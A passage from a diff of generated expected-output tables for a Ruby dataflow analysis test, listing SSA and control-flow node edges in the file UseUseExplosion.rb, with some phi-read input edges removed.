... | UseUseExplosion.rb:20:1622:20:2468 | then ... | | UseUseExplosion.rb:20:1631:20:1635 | @prop | UseUseExplosion.rb:20:1631:20:1640 | ... > ... | | UseUseExplosion.rb:20:1631:20:1635 | [post] self | UseUseExplosion.rb:20:1652:20:1656 | self | @@ -1290,11 +981,7 @@ | UseUseExplosion.rb:20:1631:20:1640 | ... > ... | UseUseExplosion.rb:20:1630:20:1641 | [false] ( ... ) | | UseUseExplosion.rb:20:1631:20:1640 | ... > ... | UseUseExplosion.rb:20:1630:20:1641 | [true] ( ... ) | | UseUseExplosion.rb:20:1639:20:1640 | 23 | UseUseExplosion.rb:20:1631:20:1640 | ... > ... | -| UseUseExplosion.rb:20:1643:20:2452 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1627:20:2468 | SSA phi read(self) | -| UseUseExplosion.rb:20:1643:20:2452 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1627:20:2468 | SSA phi read(x) | | UseUseExplosion.rb:20:1643:20:2452 | then ... | UseUseExplosion.rb:20:1627:20:2468 | if ... | -| UseUseExplosion.rb:20:1648:20:2452 | SSA phi read(self) | UseUseExplosion.rb:20:1643:20:2452 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1648:20:2452 | SSA phi read(x) | UseUseExplosion.rb:20:1643:20:2452 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1648:20:2452 | if ... | UseUseExplosion.rb:20:1643:20:2452 | then ... | | UseUseExplosion.rb:20:1652:20:1656 | @prop | UseUseExplosion.rb:20:1652:20:1661 | ... > ... | | UseUseExplosion.rb:20:1652:20:1656 | [post] self | UseUseExplosion.rb:20:1673:20:1677 | self | @@ -1304,11 +991,7 @@ | UseUseExplosion.rb:20:1652:20:1661 | ... > ... | UseUseExplosion.rb:20:1651:20:1662 | [false] ( ... ) | | UseUseExplosion.rb:20:1652:20:1661 | ... > ... | UseUseExplosion.rb:20:1651:20:1662 | [true] ( ... ) | | UseUseExplosion.rb:20:1660:20:1661 | 22 | UseUseExplosion.rb:20:1652:20:1661 | ... > ... | -| UseUseExplosion.rb:20:1664:20:2436 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1648:20:2452 | SSA phi read(self) | -| UseUseExplosion.rb:20:1664:20:2436 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1648:20:2452 | SSA phi read(x) | | UseUseExplosion.rb:20:1664:20:2436 | then ... | UseUseExplosion.rb:20:1648:20:2452 | if ... | -| UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(self) | UseUseExplosion.rb:20:1664:20:2436 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(x) | UseUseExplosion.rb:20:1664:20:2436 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1669:20:2436 | if ... | UseUseExplosion.rb:20:1664:20:2436 | then ... | | UseUseExplosion.rb:20:1673:20:1677 | @prop | UseUseExplosion.rb:20:1673:20:1682 | ... > ... | | UseUseExplosion.rb:20:1673:20:1677 | [post] self | UseUseExplosion.rb:20:1694:20:1698 | self | @@ -1318,11 +1001,7 @@ | UseUseExplosion.rb:20:1673:20:1682 | ... > ... | UseUseExplosion.rb:20:1672:20:1683 | [false] ( ... ) | | UseUseExplosion.rb:20:1673:20:1682 | ... > ... | UseUseExplosion.rb:20:1672:20:1683 | [true] ( ... ) | | UseUseExplosion.rb:20:1681:20:1682 | 21 | UseUseExplosion.rb:20:1673:20:1682 | ... > ... | -| UseUseExplosion.rb:20:1685:20:2420 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(self) | -| UseUseExplosion.rb:20:1685:20:2420 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(x) | | UseUseExplosion.rb:20:1685:20:2420 | then ... | UseUseExplosion.rb:20:1669:20:2436 | if ... | -| UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(self) | UseUseExplosion.rb:20:1685:20:2420 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(x) | UseUseExplosion.rb:20:1685:20:2420 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1690:20:2420 | if ... | UseUseExplosion.rb:20:1685:20:2420 | then ... | | UseUseExplosion.rb:20:1694:20:1698 | @prop | UseUseExplosion.rb:20:1694:20:1703 | ... > ... | | UseUseExplosion.rb:20:1694:20:1698 | [post] self | UseUseExplosion.rb:20:1715:20:1719 | self | @@ -1332,11 +1011,7 @@ | UseUseExplosion.rb:20:1694:20:1703 | ... > ... | UseUseExplosion.rb:20:1693:20:1704 | [false] ( ... ) | | UseUseExplosion.rb:20:1694:20:1703 | ... > ... | UseUseExplosion.rb:20:1693:20:1704 | [true] ( ... ) | | UseUseExplosion.rb:20:1702:20:1703 | 20 | UseUseExplosion.rb:20:1694:20:1703 | ... > ... | -| UseUseExplosion.rb:20:1706:20:2404 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(self) | -| UseUseExplosion.rb:20:1706:20:2404 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(x) | | UseUseExplosion.rb:20:1706:20:2404 | then ... | UseUseExplosion.rb:20:1690:20:2420 | if ... | -| UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(self) | UseUseExplosion.rb:20:1706:20:2404 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(x) | UseUseExplosion.rb:20:1706:20:2404 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1711:20:2404 | if ... | UseUseExplosion.rb:20:1706:20:2404 | then ... | | UseUseExplosion.rb:20:1715:20:1719 | @prop | UseUseExplosion.rb:20:1715:20:1724 | ... > ... | | UseUseExplosion.rb:20:1715:20:1719 | [post] self | UseUseExplosion.rb:20:1736:20:1740 | self | @@ -1346,11 +1021,7 @@ | UseUseExplosion.rb:20:1715:20:1724 | ... > ... | UseUseExplosion.rb:20:1714:20:1725 | [false] ( ... ) | | UseUseExplosion.rb:20:1715:20:1724 | ... > ... | UseUseExplosion.rb:20:1714:20:1725 | [true] ( ... ) | | UseUseExplosion.rb:20:1723:20:1724 | 19 | UseUseExplosion.rb:20:1715:20:1724 | ... > ... | -| UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(self) | -| UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(x) | | UseUseExplosion.rb:20:1727:20:2388 | then ... | UseUseExplosion.rb:20:1711:20:2404 | if ... | -| UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(self) | UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(x) | UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1732:20:2388 | if ... | UseUseExplosion.rb:20:1727:20:2388 | then ... | | UseUseExplosion.rb:20:1736:20:1740 | @prop | UseUseExplosion.rb:20:1736:20:1745 | ... > ... | | UseUseExplosion.rb:20:1736:20:1740 | [post] self | UseUseExplosion.rb:20:1757:20:1761 | self | @@ -1360,11 +1031,7 @@ | UseUseExplosion.rb:20:1736:20:1745 | ... > ... | UseUseExplosion.rb:20:1735:20:1746 | [false] ( ... ) | | UseUseExplosion.rb:20:1736:20:1745 | ... > ... | UseUseExplosion.rb:20:1735:20:1746 | [true] ( ... ) | | UseUseExplosion.rb:20:1744:20:1745 | 18 | UseUseExplosion.rb:20:1736:20:1745 | ... > ... | -| UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(self) | -| UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(x) | | UseUseExplosion.rb:20:1748:20:2372 | then ... | UseUseExplosion.rb:20:1732:20:2388 | if ... | -| UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(self) | UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(x) | UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1753:20:2372 | if ... | UseUseExplosion.rb:20:1748:20:2372 | then ... | | UseUseExplosion.rb:20:1757:20:1761 | @prop | UseUseExplosion.rb:20:1757:20:1766 | ... > ... | | UseUseExplosion.rb:20:1757:20:1761 | [post] self | UseUseExplosion.rb:20:1778:20:1782 | self | @@ -1374,11 +1041,7 @@ | UseUseExplosion.rb:20:1757:20:1766 | ... > ... | UseUseExplosion.rb:20:1756:20:1767 | [false] ( ... ) | | UseUseExplosion.rb:20:1757:20:1766 | ... > ... | UseUseExplosion.rb:20:1756:20:1767 | [true] ( ... ) | | UseUseExplosion.rb:20:1765:20:1766 | 17 | UseUseExplosion.rb:20:1757:20:1766 | ... > ... | -| UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(self) | -| UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(x) | | UseUseExplosion.rb:20:1769:20:2356 | then ... | UseUseExplosion.rb:20:1753:20:2372 | if ... | -| UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(self) | UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(x) | UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1774:20:2356 | if ... | UseUseExplosion.rb:20:1769:20:2356 | then ... | | UseUseExplosion.rb:20:1778:20:1782 | @prop | UseUseExplosion.rb:20:1778:20:1787 | ... > ... | | UseUseExplosion.rb:20:1778:20:1782 | [post] self | UseUseExplosion.rb:20:1799:20:1803 | self | @@ -1388,11 +1051,7 @@ | UseUseExplosion.rb:20:1778:20:1787 | ... > ... | UseUseExplosion.rb:20:1777:20:1788 | [false] ( ... ) | | UseUseExplosion.rb:20:1778:20:1787 | ... > ... | UseUseExplosion.rb:20:1777:20:1788 | [true] ( ... ) | | UseUseExplosion.rb:20:1786:20:1787 | 16 | UseUseExplosion.rb:20:1778:20:1787 | ... > ... | -| UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(self) | -| UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(x) | | UseUseExplosion.rb:20:1790:20:2340 | then ... | UseUseExplosion.rb:20:1774:20:2356 | if ... | -| UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(self) | UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(x) | UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1795:20:2340 | if ... | UseUseExplosion.rb:20:1790:20:2340 | then ... | | UseUseExplosion.rb:20:1799:20:1803 | @prop | UseUseExplosion.rb:20:1799:20:1808 | ... > ... | | UseUseExplosion.rb:20:1799:20:1803 | [post] self | UseUseExplosion.rb:20:1820:20:1824 | self | @@ -1402,11 +1061,7 @@ | UseUseExplosion.rb:20:1799:20:1808 | ... > ... | UseUseExplosion.rb:20:1798:20:1809 | [false] ( ... ) | | UseUseExplosion.rb:20:1799:20:1808 | ... > ... | UseUseExplosion.rb:20:1798:20:1809 | [true] ( ... ) | | UseUseExplosion.rb:20:1807:20:1808 | 15 | UseUseExplosion.rb:20:1799:20:1808 | ... > ... | -| UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(self) | -| UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(x) | | UseUseExplosion.rb:20:1811:20:2324 | then ... | UseUseExplosion.rb:20:1795:20:2340 | if ... | -| UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(self) | UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(x) | UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1816:20:2324 | if ... | UseUseExplosion.rb:20:1811:20:2324 | then ... | | UseUseExplosion.rb:20:1820:20:1824 | @prop | UseUseExplosion.rb:20:1820:20:1829 | ... > ... | | UseUseExplosion.rb:20:1820:20:1824 | [post] self | UseUseExplosion.rb:20:1841:20:1845 | self | @@ -1416,11 +1071,7 @@ | UseUseExplosion.rb:20:1820:20:1829 | ... > ... | UseUseExplosion.rb:20:1819:20:1830 | [false] ( ... ) | | UseUseExplosion.rb:20:1820:20:1829 | ... > ... | UseUseExplosion.rb:20:1819:20:1830 | [true] ( ... ) | | UseUseExplosion.rb:20:1828:20:1829 | 14 | UseUseExplosion.rb:20:1820:20:1829 | ... > ... | -| UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(self) | -| UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(x) | | UseUseExplosion.rb:20:1832:20:2308 | then ... | UseUseExplosion.rb:20:1816:20:2324 | if ... | -| UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(self) | UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(x) | UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1837:20:2308 | if ... | UseUseExplosion.rb:20:1832:20:2308 | then ... | | UseUseExplosion.rb:20:1841:20:1845 | @prop | UseUseExplosion.rb:20:1841:20:1850 | ... > ... | | UseUseExplosion.rb:20:1841:20:1845 | [post] self | UseUseExplosion.rb:20:1862:20:1866 | self | @@ -1430,11 +1081,7 @@ | UseUseExplosion.rb:20:1841:20:1850 | ... > ... | UseUseExplosion.rb:20:1840:20:1851 | [false] ( ... ) | | UseUseExplosion.rb:20:1841:20:1850 | ... > ... | UseUseExplosion.rb:20:1840:20:1851 | [true] ( ... ) | | UseUseExplosion.rb:20:1849:20:1850 | 13 | UseUseExplosion.rb:20:1841:20:1850 | ... > ... | -| UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(self) | -| UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(x) | | UseUseExplosion.rb:20:1853:20:2292 | then ... | UseUseExplosion.rb:20:1837:20:2308 | if ... | -| UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(self) | UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(x) | UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1858:20:2292 | if ... | UseUseExplosion.rb:20:1853:20:2292 | then ... | | UseUseExplosion.rb:20:1862:20:1866 | @prop | UseUseExplosion.rb:20:1862:20:1871 | ... > ... | | UseUseExplosion.rb:20:1862:20:1866 | [post] self | UseUseExplosion.rb:20:1883:20:1887 | self | @@ -1444,11 +1091,7 @@ | UseUseExplosion.rb:20:1862:20:1871 | ... > ... | UseUseExplosion.rb:20:1861:20:1872 | [false] ( ... ) | | UseUseExplosion.rb:20:1862:20:1871 | ... > ... | UseUseExplosion.rb:20:1861:20:1872 | [true] ( ... ) | | UseUseExplosion.rb:20:1870:20:1871 | 12 | UseUseExplosion.rb:20:1862:20:1871 | ... > ... | -| UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(self) | -| UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(x) | | UseUseExplosion.rb:20:1874:20:2276 | then ... | UseUseExplosion.rb:20:1858:20:2292 | if ... | -| UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(self) | UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(x) | UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1879:20:2276 | if ... | UseUseExplosion.rb:20:1874:20:2276 | then ... | | UseUseExplosion.rb:20:1883:20:1887 | @prop | UseUseExplosion.rb:20:1883:20:1892 | ... > ... | | UseUseExplosion.rb:20:1883:20:1887 | [post] self | UseUseExplosion.rb:20:1904:20:1908 | self | @@ -1458,11 +1101,7 @@ | UseUseExplosion.rb:20:1883:20:1892 | ... > ... | UseUseExplosion.rb:20:1882:20:1893 | [false] ( ... ) | | UseUseExplosion.rb:20:1883:20:1892 | ... > ... | UseUseExplosion.rb:20:1882:20:1893 | [true] ( ... ) | | UseUseExplosion.rb:20:1891:20:1892 | 11 | UseUseExplosion.rb:20:1883:20:1892 | ... > ... | -| UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(self) | -| UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(x) | | UseUseExplosion.rb:20:1895:20:2260 | then ... | UseUseExplosion.rb:20:1879:20:2276 | if ... | -| UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(self) | UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(x) | UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1900:20:2260 | if ... | UseUseExplosion.rb:20:1895:20:2260 | then ... | | UseUseExplosion.rb:20:1904:20:1908 | @prop | UseUseExplosion.rb:20:1904:20:1913 | ... > ... | | UseUseExplosion.rb:20:1904:20:1908 | [post] self | UseUseExplosion.rb:20:1925:20:1929 | self | @@ -1472,11 +1111,7 @@ | UseUseExplosion.rb:20:1904:20:1913 | ... > ... | UseUseExplosion.rb:20:1903:20:1914 | [false] ( ... ) | | UseUseExplosion.rb:20:1904:20:1913 | ... > ... | UseUseExplosion.rb:20:1903:20:1914 | [true] ( ... ) | | UseUseExplosion.rb:20:1912:20:1913 | 10 | UseUseExplosion.rb:20:1904:20:1913 | ... > ... | -| UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(self) | -| UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(x) | | UseUseExplosion.rb:20:1916:20:2244 | then ... | UseUseExplosion.rb:20:1900:20:2260 | if ... | -| UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(self) | UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(x) | UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1921:20:2244 | if ... | UseUseExplosion.rb:20:1916:20:2244 | then ... | | UseUseExplosion.rb:20:1925:20:1929 | @prop | UseUseExplosion.rb:20:1925:20:1933 | ... > ... | | UseUseExplosion.rb:20:1925:20:1929 | [post] self | UseUseExplosion.rb:20:1945:20:1949 | self | @@ -1486,11 +1121,7 @@ | UseUseExplosion.rb:20:1925:20:1933 | ... > ... | UseUseExplosion.rb:20:1924:20:1934 | [false] ( ... ) | | UseUseExplosion.rb:20:1925:20:1933 | ... > ... | UseUseExplosion.rb:20:1924:20:1934 | [true] ( ... ) | | UseUseExplosion.rb:20:1933:20:1933 | 9 | UseUseExplosion.rb:20:1925:20:1933 | ... > ... | -| UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(self) | -| UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(x) | | UseUseExplosion.rb:20:1936:20:2228 | then ... | UseUseExplosion.rb:20:1921:20:2244 | if ... | -| UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(self) | UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(x) | UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1941:20:2228 | if ... | UseUseExplosion.rb:20:1936:20:2228 | then ... | | UseUseExplosion.rb:20:1945:20:1949 | @prop | UseUseExplosion.rb:20:1945:20:1953 | ... > ... | | UseUseExplosion.rb:20:1945:20:1949 | [post] self | UseUseExplosion.rb:20:1965:20:1969 | self | @@ -1500,11 +1131,7 @@ | UseUseExplosion.rb:20:1945:20:1953 | ... > ... | UseUseExplosion.rb:20:1944:20:1954 | [false] ( ... ) | | UseUseExplosion.rb:20:1945:20:1953 | ... > ... | UseUseExplosion.rb:20:1944:20:1954 | [true] ( ... ) | | UseUseExplosion.rb:20:1953:20:1953 | 8 | UseUseExplosion.rb:20:1945:20:1953 | ... > ... | -| UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(self) | -| UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(x) | | UseUseExplosion.rb:20:1956:20:2212 | then ... | UseUseExplosion.rb:20:1941:20:2228 | if ... | -| UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(self) | UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(x) | UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1961:20:2212 | if ... | UseUseExplosion.rb:20:1956:20:2212 | then ... | | UseUseExplosion.rb:20:1965:20:1969 | @prop | UseUseExplosion.rb:20:1965:20:1973 | ... > ... | | UseUseExplosion.rb:20:1965:20:1969 | [post] self | UseUseExplosion.rb:20:1985:20:1989 | self | @@ -1514,11 +1141,7 @@ | UseUseExplosion.rb:20:1965:20:1973 | ... > ... | UseUseExplosion.rb:20:1964:20:1974 | [false] ( ... ) | | UseUseExplosion.rb:20:1965:20:1973 | ... > ... | UseUseExplosion.rb:20:1964:20:1974 | [true] ( ... ) | | UseUseExplosion.rb:20:1973:20:1973 | 7 | UseUseExplosion.rb:20:1965:20:1973 | ... > ... | -| UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(self) | -| UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(x) | | UseUseExplosion.rb:20:1976:20:2196 | then ... | UseUseExplosion.rb:20:1961:20:2212 | if ... | -| UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(self) | UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(x) | UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1981:20:2196 | if ... | UseUseExplosion.rb:20:1976:20:2196 | then ... | | UseUseExplosion.rb:20:1985:20:1989 | @prop | UseUseExplosion.rb:20:1985:20:1993 | ... > ... | | UseUseExplosion.rb:20:1985:20:1989 | [post] self | UseUseExplosion.rb:20:2005:20:2009 | self | @@ -1528,11 +1151,7 @@ | UseUseExplosion.rb:20:1985:20:1993 | ... > ... | UseUseExplosion.rb:20:1984:20:1994 | [false] ( ... ) | | UseUseExplosion.rb:20:1985:20:1993 | ... > ... | UseUseExplosion.rb:20:1984:20:1994 | [true] ( ... ) | | UseUseExplosion.rb:20:1993:20:1993 | 6 | UseUseExplosion.rb:20:1985:20:1993 | ... > ... | -| UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(self) | -| UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(x) | | UseUseExplosion.rb:20:1996:20:2180 | then ... | UseUseExplosion.rb:20:1981:20:2196 | if ... | -| UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(self) | UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(x) | UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2001:20:2180 | if ... | UseUseExplosion.rb:20:1996:20:2180 | then ... | | UseUseExplosion.rb:20:2005:20:2009 | @prop | UseUseExplosion.rb:20:2005:20:2013 | ... > ... | | UseUseExplosion.rb:20:2005:20:2009 | [post] self | UseUseExplosion.rb:20:2025:20:2029 | self | @@ -1542,11 +1161,7 @@ | UseUseExplosion.rb:20:2005:20:2013 | ... > ... | UseUseExplosion.rb:20:2004:20:2014 | [false] ( ... ) | | UseUseExplosion.rb:20:2005:20:2013 | ... > ... | UseUseExplosion.rb:20:2004:20:2014 | [true] ( ... ) | | UseUseExplosion.rb:20:2013:20:2013 | 5 | UseUseExplosion.rb:20:2005:20:2013 | ... > ... | -| UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(self) | -| UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(x) | | UseUseExplosion.rb:20:2016:20:2164 | then ... | UseUseExplosion.rb:20:2001:20:2180 | if ... | -| UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(self) | UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(x) | UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2021:20:2164 | if ... | UseUseExplosion.rb:20:2016:20:2164 | then ... | | UseUseExplosion.rb:20:2025:20:2029 | @prop | UseUseExplosion.rb:20:2025:20:2033 | ... > ... | | UseUseExplosion.rb:20:2025:20:2029 | [post] self | UseUseExplosion.rb:20:2045:20:2049 | self | @@ -1556,11 +1171,7 @@ | UseUseExplosion.rb:20:2025:20:2033 | ... > ... | UseUseExplosion.rb:20:2024:20:2034 | [false] ( ... ) | | UseUseExplosion.rb:20:2025:20:2033 | ... > ... | UseUseExplosion.rb:20:2024:20:2034 | [true] ( ... ) | | UseUseExplosion.rb:20:2033:20:2033 | 4 | UseUseExplosion.rb:20:2025:20:2033 | ... > ... | -| UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(self) | -| UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(x) | | UseUseExplosion.rb:20:2036:20:2148 | then ... | UseUseExplosion.rb:20:2021:20:2164 | if ... | -| UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(self) | UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(x) | UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2041:20:2148 | if ... | UseUseExplosion.rb:20:2036:20:2148 | then ... | | UseUseExplosion.rb:20:2045:20:2049 | @prop | UseUseExplosion.rb:20:2045:20:2053 | ... > ... | | UseUseExplosion.rb:20:2045:20:2049 | [post] self | UseUseExplosion.rb:20:2065:20:2069 | self | @@ -1570,11 +1181,7 @@ | UseUseExplosion.rb:20:2045:20:2053 | ... > ... | UseUseExplosion.rb:20:2044:20:2054 | [false] ( ... ) | | UseUseExplosion.rb:20:2045:20:2053 | ... > ... | UseUseExplosion.rb:20:2044:20:2054 | [true] ( ... ) | | UseUseExplosion.rb:20:2053:20:2053 | 3 | UseUseExplosion.rb:20:2045:20:2053 | ... > ... | -| UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(self) | -| UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(x) | | UseUseExplosion.rb:20:2056:20:2132 | then ... | UseUseExplosion.rb:20:2041:20:2148 | if ... | -| UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(self) | UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(x) | UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2061:20:2132 | if ... | UseUseExplosion.rb:20:2056:20:2132 | then ... | | UseUseExplosion.rb:20:2065:20:2069 | @prop | UseUseExplosion.rb:20:2065:20:2073 | ... > ... | | UseUseExplosion.rb:20:2065:20:2069 | [post] self | UseUseExplosion.rb:20:2085:20:2089 | self | @@ -1584,11 +1191,7 @@ | 